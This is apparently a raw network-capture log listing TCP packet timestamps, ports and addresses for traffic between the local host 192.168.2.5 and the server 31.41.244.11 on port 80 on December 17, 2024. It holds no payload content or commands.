Dec 17, 2024 08:03:49.373487949 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.373503923 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.373534918 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.373837948 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.373891115 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.373894930 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.373950005 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.374867916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.374917030 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.374969959 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.375041962 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.375951052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.376007080 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.376009941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.376070976 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.376857996 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.376899958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.376969099 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.377015114 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.377856970 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.377909899 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.377973080 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.378068924 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.378887892 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.378938913 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.379070997 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.379143000 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.379883051 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.379934072 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.380064964 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.380127907 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.380898952 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.380950928 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.380956888 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.381011963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.381885052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.381937981 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.382004023 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.382052898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.382905960 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.382952929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.383016109 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.383066893 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.383900881 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.383951902 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.384001970 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.384051085 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.384934902 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.384994030 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.385046005 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.385927916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.386030912 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.386081934 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.386933088 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.386977911 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.387039900 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.387089968 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.387964010 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.388061047 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.388140917 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.388184071 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.388958931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.389019012 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.389019966 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.389106035 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.389956951 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.390008926 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.390084982 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.390187979 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.390975952 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.391031027 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.391053915 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.391103029 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.391966105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.392035007 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.392098904 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.392144918 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.392991066 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.393053055 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.393136024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.393184900 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.393975973 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.394026041 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.394090891 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.394134045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.395004034 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.395051956 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.395108938 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.395291090 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.395968914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.396028042 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.396090984 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.396162987 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.397023916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.397078037 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.397141933 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.397278070 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.398010015 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.398063898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.398124933 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.398230076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.399034023 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.399085999 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.399136066 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.399203062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.400062084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.400134087 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.400181055 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.400224924 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.401030064 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.401086092 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.401148081 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.401241064 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.402019024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.402070999 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.402134895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.402193069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.403042078 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.403086901 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.403165102 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.403218985 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.404074907 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.404129982 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.404185057 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.404371023 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.405222893 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.405332088 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.405342102 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.405381918 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.406061888 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.406116009 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.406177998 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.406294107 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.407087088 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.407144070 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.407201052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.407516956 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.408071041 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.408116102 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.408194065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.408380032 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.409079075 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.409123898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.409200907 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.409365892 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.410140991 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.410243988 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.410249949 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.410423994 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.411097050 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.411149979 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.411215067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.411268950 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.412117958 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.412172079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.412233114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.412338972 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.413101912 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.413150072 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.413266897 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.413317919 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.414144993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.414197922 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.414258003 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.414302111 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.415175915 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.415230036 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.415270090 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.415323973 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.416140079 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.416197062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.416258097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.416315079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.417160034 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.417212009 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.417274952 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.417406082 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.418169022 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.418224096 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.418287039 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.418392897 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.419186115 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.419289112 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.419342041 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.419461012 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.420242071 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.420339108 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.420342922 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.420388937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.421418905 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.421462059 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.421477079 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.421524048 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.422177076 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.422224998 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.422286987 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.422338009 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.423188925 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.423243999 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.423305988 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.423352003 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.424216032 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.424349070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.424361944 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.424392939 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.425214052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.425291061 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.425313950 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.425358057 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.426162958 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.426209927 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.565398932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.565462112 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.565509081 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.565824986 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.565845013 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.565871000 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.566026926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.566112995 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.566906929 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.566945076 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.566967964 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.566993952 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.567790985 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.567837000 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.567899942 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.568030119 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.568804026 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.568846941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.568852901 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.568881035 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.569816113 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.569868088 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.569922924 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.569993019 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.570837975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.570880890 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.570940971 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.570983887 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.571832895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.571878910 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.571969032 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.572012901 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.572860956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.572906017 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.572968960 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.573013067 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.573843956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.573893070 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.573957920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.574002028 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.574845076 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.574889898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.574971914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.575010061 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.575889111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.575930119 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.575969934 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.576013088 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.576911926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.576961040 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.577053070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.577100039 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.577986002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.578037024 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.578054905 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.578095913 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.578902960 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.578954935 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.579099894 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.579159975 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.579888105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.579938889 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.579994917 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.580059052 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.580923080 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.580971956 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.581021070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.581062078 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.581913948 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.581965923 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.582035065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.582129002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.583036900 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.583127975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.583172083 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.584095001 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.584151983 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.584219933 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.584325075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.584944010 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.584997892 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.585083008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.585134983 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.585979939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.586030006 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.586091995 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.586138964 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.586958885 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.587012053 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.587089062 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.587229967 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.587971926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.588021040 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.588082075 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.588205099 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.589032888 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.589179993 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.589215040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.589265108 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.590013981 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.590122938 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.590126038 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.590178967 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.590960026 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.591007948 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.591083050 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.591130972 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.591994047 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.592050076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.592111111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.592158079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.592993975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.593046904 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.593107939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.593175888 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.594010115 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.594063044 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.594127893 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.594259024 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.595030069 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.595083952 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.595163107 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.595213890 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.596124887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.596175909 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.596180916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.596234083 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.597043037 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.597100973 CET	49920	80	192.168.2.5	31.41.244.11
